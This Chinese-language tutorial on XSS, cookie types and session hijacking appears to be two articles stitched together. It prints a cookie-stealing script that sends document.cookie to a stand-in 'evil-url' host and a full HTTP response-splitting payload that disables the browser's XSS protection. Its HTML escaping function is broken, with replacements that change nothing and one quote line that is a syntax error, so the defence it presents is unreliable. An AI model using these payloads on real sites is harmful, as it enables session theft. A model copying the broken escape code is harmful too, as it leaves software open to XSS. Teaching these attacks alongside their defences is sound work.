站腳本（Cross-Site scripting）,又叫XSS，這個術語表示了一類安全問題，也就是攻擊者向目標Web站點注入了HTML標簽或腳本。

下面我們就來了解一下其背后的原理和如何進行簡單的防御。

1. 攻擊原理

如果一個Web頁面動態地產生文檔內容，并且這些文檔內容是基于用戶提交的數據的，而并沒有通過從中移除任何嵌入的HTML標簽來”消毒”的話，那么這個Web頁面很容易遭到跨站腳本的攻擊。

例如：腳本使用JavaScript通過用戶名字來向用戶問好

1
2
var name=decodeURIComponent(window.location.search.substring(1) || '');
document.write('hello '+name);

考慮如果URL為

http://www.example.com/greet.html?%3Cscript%3Ealert('David')%3C/script%3E

注入的腳本就會顯示一個對話框。此外，可以把其他站點的腳本注入到目標站點中，注入的腳本就可以對站點A的內容進行任何想要的操作。

2. 防止XSS攻擊的辦法

2.1 標簽符號轉義

在使用任何不可信的數據來動態的創建文檔內容之前，對輸出的內容進行標簽符號的轉義

function htmlEsc(s){
 if(!s) return "";
 s=s + "";
 if(s.length==0) return "";
 s=s.replace(/&/g, "&");
 s=s.replace(/</g, "<");
 s=s.replace(/>/g, ">");
 s=s.replace(/ /g, " ");
 s=s.replace(/\'/g, "'");
 s=s.replace(/\"/g, """);
 s=s.replace(/\n/g, "<br>");
 return s;
}

要養成這種意識

2.2 iframe的sandbox屬性

HTML5為元素定義了一個sandbox屬性，在實現之后，它運行顯示不可信的內容，并自動禁止腳本。

、cookie的基本特性

如果不了解cookie，可以先到wikipedia上學習一下。

http request

瀏覽器向服務器發起的每個請求都會帶上cookie：

Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*

http response

服務器給瀏覽器的返回可以設置cookie：

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
 
(content of page)

二、cookie有關的術語

session cookie

當cookie沒有設置超時時間，那么cookie會在瀏覽器退出時銷毀，這種cookie是session cookie。

persistent cookie/tracking cookie

設置了超時時間的cookie，會在指定時間銷毀，cookie的維持時間可以持續到瀏覽器退出之后，這種cookie被持久化在瀏覽器中。很多站點用cookie跟蹤用戶的歷史記錄，例如廣告類站點會使用cookie記錄瀏覽過哪些內容，搜索引擎會使用cookie記錄歷史搜索記錄，這時也可以稱作tracking cookie，因為它被用于追蹤用戶行為。

secure cookie

服務器端設置cookie的時候，可以指定secure屬性，這時cookie只有通過https協議傳輸的時候才會帶到網絡請求中，不加密的http請求不會帶有secure cookie。設置secure cookie的方式舉例：

Set-Cookie: foo=bar; Path=/; Secure

HttpOnly cookie

服務器端設置cookie的時候，也可以指定一個HttpOnly屬性。

Set-Cookie: foo=bar; Path=/; HttpOnly

設置了這個屬性的cookie在javascript中無法獲取到，只會在網絡傳輸過程中帶到服務器。

third-party cookie

第三方cookie的使用場景通常是iframe，例如www.a.com潛入了一個www.ad.com的廣告iframe，那么www.ad.com設置的cookie屬于不屬于www.a.com，被稱作第三方cookie。

supercookie

cookie會從屬于一個域名，例如www.a.com，或者屬于一個子域，例如b.a.com。但是如果cookie被聲明為屬于.com會發生什么？這個cookie會在任何.com域名生效。這有很大的安全性問題。這種cookie被稱作supercookie。瀏覽器做出了限制，不允許設置頂級域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。現代主流瀏覽器都很好的處理了supercookie問題，但是如果有些第三方瀏覽器使用的頂級域名和public suffix列表有問題，那么就可以針對supercookie進行攻擊啦。

zombie cookie/evercookie

僵尸cookie是指當用戶通過瀏覽器的設置清除cookie后可以自動重新創建的cookie。原理是通過使用多重技術記錄同樣的內容(例如flash，silverlight)，當cookie被刪除時，從其他存儲中恢復。 evercookie是實現僵尸cookie的主要技術手段。 了解僵尸cookie和evercookie。

三、cookie有什么用

通常cookie有三種主要的用途。

session管理

http協議本身是是無狀態的，但是現代站點很多都需要維持登錄態，也就是維持會話。最基本的維持會話的方式是Base Auth，但是這種方式，用戶名和密碼在每次請求中都會以明文的方式發送到客戶端，很容易受到中間人攻擊，存在很大的安全隱患。所以現在大多數站點采用基于cookie的session管理方式：用戶登陸成功后，設置一個唯一的cookie標識本次會話，基于這個標識進行用戶授權。只要請求中帶有這個標識，都認為是登錄態。

個性化

cookie可以被用于記錄一些信息，以便于在后續用戶瀏覽頁面時展示相關內容。典型的例子是購物站點的購物車功能。以前Google退出的iGoogle產品也是一個典型的例子，用戶可以擁有自己的Google自定制主頁，其中就使用了cookie。

user tracking

cookie也可以用于追蹤用戶行為，例如是否訪問過本站點，有過哪些操作等。

四、cookie竊取和session劫持

本文就cookie的三種用途中session管理的安全問題進行展開。 既然cookie用于維持會話，如果這個cookie被攻擊者竊取會發生什么？session被劫持！ 攻擊者劫持會話就等于合法登錄了你的賬戶，可以瀏覽大部分用戶資源。

最基本的cookie竊取方式：xss漏洞

攻擊一旦站點中存在可利用的xss漏洞，攻擊者可直接利用注入的js腳本獲取cookie，進而通過異步請求把標識session id的cookie上報給攻擊者。

var img=document.createElement('img');
img.src='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

如何尋找XSS漏洞是另外一個話題了，自行google之。 防御 根據上面HttpOnly cookie的介紹，一旦一個cookie被設置為HttpOnly，js腳本就無法再獲取到，而網絡傳輸時依然會帶上。也就是說依然可以依靠這個cookie進行session維持，但客戶端js對其不可見。那么即使存在xss漏洞也無法簡單的利用其進行session劫持攻擊了。 但是上面說的是無法利用xss進行簡單的攻擊，但是也不是沒有辦法的。既然無法使用document.cookie獲取到，可以轉而通過其他的方式。下面介紹兩種xss結合其他漏洞的攻擊方式。

xss結合phpinfo頁面

攻擊 大家都知道，利用php開發的應用會有一個phpinfo頁面。而這個頁面會dump出請求信息，其中就包括cookie信息。

如果開發者沒有關閉這個頁面，就可以利用xss漏洞向這個頁面發起異步請求，獲取到頁面內容后parse出cookie信息，然后上傳給攻擊者。 phpinfo只是大家最常見的一種dump請求的頁面，但不僅限于此，為了調試方便，任何dump請求的頁面都是可以被利用的漏洞。 防御關閉所有phpinfo類dump request信息的頁面。

XSS + HTTP TRACE=XST

這是一種古老的攻擊方式，現在已經消失，寫在這里可以擴展一下攻防思路。http trace是讓我們的web服務器將客戶端的所有請求信息返回給客戶端的方法。其中包含了HttpOnly的cookie。如果利用xss異步發起trace請求，又可以獲取session信息了。之所以說是一種古老的攻擊方式，因為現代瀏覽器考慮到XST的危害都禁止了異步發起trace請求。另外提一點，當瀏覽器沒有禁止異步發起trace的時代，很多開發者都關閉了web server的trace支持來防御XST攻擊。但攻擊者在特定的情況下還可以繞過，用戶使用了代理服務器，而代理服務器沒有關閉trace支持，這樣又可以trace了。

HTTP Response Splitting

通常的XSS攻擊都是把輸入內容注入到response的content中，HTTP Response Splitting是一種針對header的注入。例如，一個站點接受參數做302跳轉：

www.example.com/?r=http://baidu.com

request信息：

GET /example.com?r=http://baidu.com

HTTP/1.1

Host: example.com

response:

HTTP/1.1 302 Found
Location: http://baidu.com
Content-Type: text/html

這樣頁面就302跳轉到百度了。攻擊者利用r參數可以注入header，r參數不是簡單的url，而是包含的header信息：

 
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
 

response變成了：

HTTP/1.1 302 Found
Location: 
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 0
 
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html

有兩個攻擊要點：

• 指定X=XSS-Protection: 0 ，關閉瀏覽器的xss保護機制。
• 注入腳本

防御 針對header的內容做過濾，不能漏掉，特別是Location，host，referrer等。說到底，這也是一種XSS攻擊，只是攻擊方式與普通的不太一樣。針對header的攻擊還可以做SQL注入等，防御的原則是對所有的輸入進行sanitize，包括非用戶輸入的內容，比如referrer這種一般由瀏覽器帶過來的信息，因為請求完全可以被偽造，未必來自瀏覽器。

網絡監聽(network eavesdropping/network sniffing)

以上是利用上層應用的特性的幾種攻擊方式，cookie不僅存在于上層應用中，更流轉于請求中。上層應用獲取不到后，攻擊者可以轉而從網絡請求中獲取。只要是未使用https加密的網站都可以抓包分析，其中就包含了標識session的cookie。當然，完成網絡監聽需要滿足一定的條件，這又是另外一個話題了。常見的方式：

• DNS緩存投毒攻擊者把要攻擊的域名的一個子域映射到攻擊者的server，然后想辦法讓被攻擊者訪問這個server(XSS request、社會化攻擊等)，請求中會帶過來所有cookie(包括HttpOnly)。
• 中間人攻擊常見的攻擊方式是搭建免費wifi，把DHCP服務器指定為攻擊者ip，在攻擊者機器上可以收到所有請求，不僅可以獲取cookie，還可以進行腳本注入。
• 代理服務器/VPN翻墻用免費VPN？呵呵。

防御使用https。使用https協議的請求都被ssl加密，理論上不可破解，即便被網絡監聽也無法通過解密看到實際的內容。防御網絡監聽通常有兩種方式：

• 信道加密
• 內容加密

https是加密信道，在此信道上傳輸的內容對中間人都是不可見的。但https是有成本的。內容加密比較好理解，例如對password先加密再傳輸。但是對于標識session的cookie這種標識性信息是無法通過內容加密得到保護的。那么，使用https的站點就可以高枕無憂了嗎？事實上，一些細節上的處理不當同樣會暴露出攻擊風險。

https站點攻擊：雙協議

如果同時支持http和https，那么還是可以使用網絡監聽http請求獲取cookie。 防御只支持https，不支持http。這樣就好了嗎？No.

https站點攻擊：301重定向

例如www.example.com只支持https協議，當用戶直接輸入example.com(大部分用戶都不會手動輸入協議前綴)，web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com。這次301請求是http的！而且帶了cookie，這樣又將cookie明文暴露在網絡上了。 防御1 把標識session的cookie設置成secure。上面提到的secure cookie，只允許在https上加密傳輸，在http請求中不會存在，這樣就不會暴露在未加密的網絡上了。 然后現實很殘酷，很多站點根本無法做到所有的請求都走https。原因有很多，可能是成本考慮，可能是業務需求。 防御2 設置Strict-Transport-Security header，直接省略這個http請求！用戶首次訪問后，服務器設置了這個header以后，后面就會省略掉這次http 301請求。更多點此 烏云案例

思考

如果偷取cookie失敗，無法session劫持，攻擊者如何再發起攻擊？劫持session的目的是拿到登錄態，從而獲得服務器授權做很多請求，例如賬戶變更。如果劫持不到session，也能夠做授權請求不是也達到攻擊的目的了？無需拿到session cookie，跨站發起請求就可以了，這就是CSRF！server通過把用戶憑證存儲在cookie以維持session，http/https協議每次訪問都會自動傳輸cookie，協議上的缺陷是導致可進行CSRF攻擊的根本原因！防御方式：使用anti-forgery token

大部分攻擊都是提權行為，最基本的提權通過偷取用戶名密碼，不成功轉而竊取session，竊取不成轉而跨站攻擊，實在不行重放也可以造成危害